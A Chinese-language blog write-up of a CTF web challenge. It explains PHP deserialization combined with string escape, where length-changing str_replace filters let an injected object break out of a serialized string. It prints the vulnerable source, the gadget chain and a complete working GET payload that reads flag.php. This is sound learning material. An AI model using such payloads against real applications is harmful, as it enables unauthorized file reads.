PHP反序列化+字符串逃逸

今天看了一下安恆的月賽題,真的就看了一下,簽到題都沒寫出來(我哭了)
其中web1是一道PHP反序列化+字符逃逸的題,事後看大佬的writeup看了半天才看懂,現在記錄一下。
題目是訪問網頁直接給的源碼:

<?php
show_source("index.php");
function write($data) {
    return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
    return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

class A{
    public $username;
    public $password;
    function __construct($a, $b){
        $this->username = $a;
        $this->password = $b;
    }
}

class B{
    public $b = 'gqy';
    function __destruct(){
        $c = 'a'.$this->b;
        echo $c;
    }
}

class C{
    public $c;
    function __toString(){
        //flag.php
        echo file_get_contents($this->c);
        return 'nice';
    }
}

$a = new A($_GET['a'],$_GET['b']);
//省略了存儲序列化數據的過程,下面是取出來並反序列化的操作
$b = unserialize(read(write(serialize($a))));

這題一眼就能看得出來是序列化的題,奈何本人沒文化,不知道還有字符串逃逸的說法,我是辣雞

首先關於反序列化的部分,就是構造這樣的代碼來運行C()的__toString()方法

$a = new A();
$b = new B();
$c = new C();
$c->c = "flag.php";
$b->b = $c;
$a->username = "1";
$a->password = $b;
echo serialize($a);

O:1:"A":2:{s:8:"username";s:1:"1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}
然後是字符串逃逸的部分,大佬是這樣說的:

之後很明顯就是字符逃逸了,看下read()和write()方法:

function write($data) {
    return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
    return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

可以看到\0\0\0的長度爲6,然後chr(0).'*'.chr(0)的長度爲3,因此read()方法可以造成字符逃逸。
假設分別傳入1和2,得到這樣的序列化字符串:


簡單介紹一下原理,字符逃逸需要做的是通過字符串替換,讓藍色的長度爲紅色字部分的長度,這樣就可以在本來的2的部分注入對象,然後進行反序列化。
Payload:
?a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}};s:0:"";s:0:"
會得到這樣的序列化字符串(每個*左右都有不可見字符%00):
O:1:"A":2:{s:8:"username";s:48:"********";s:8:"password";s:86:"A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}};s:0:"";s:0:"";}


可以看到,紅色部分剛好長度爲48,後面就逃逸出去了,而橙色部分正好是讀取flag的核心部分
像這個題是長的替換成短的,就把Payload構造到後面的屬性上去;如果的短替換成長,比如p3師傅的ezphp,就把注入的部分拼接在當前屬性的後面,使它們剛好逃逸出來。

看到這裏我還是一臉懵的狀態,沒辦法跟着程序走走看吧
首先按照payload裏面的值傳入程序
那麼對這一句而言$a = new A($_GET['a'],$_GET['b']);a就是\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0,b就是A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}};s:0:"";s:0:"
這沒啥問題
然後程序運行$b = unserialize(read(write(serialize($a))));這一句中的serialize($a)結果輸出一下是
O:1:"A":2:{s:8:"username";s:48:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:86:"A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}};s:0:"";s:0:"";}

紅色的就是我們填入的部分,是作爲引號中的數據,不會成爲影響結果的代碼,到這裏程序一切正常
接着運行下一句write(serialize($a))這一句對我們的程序沒啥影響,因爲我們序列化的結果裏面沒有chr(0) . '*' . chr(0)的結構,這一句代碼用在下面的情況:

如果一個類有私有屬性,那麼序列化後就有chr(0) . '*' . chr(0)這樣的結構

然後下一句read(write(serialize($a)))這個時候問題就出現了
這裏爲了好數數我把chr(0) . '*' . chr(0)寫出-*-

你數一下綠色部分就成了引號裏面的東西了,password後面的對象就解放出來了,本來這些是數據,不會影響到程序,但逃逸出來後就變成影響程序的代碼了,這就是字符串逃逸
然後s:0:"";s:0:"是爲了閉合最後的一個"
最後代碼繼續運行,flag就出來了

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章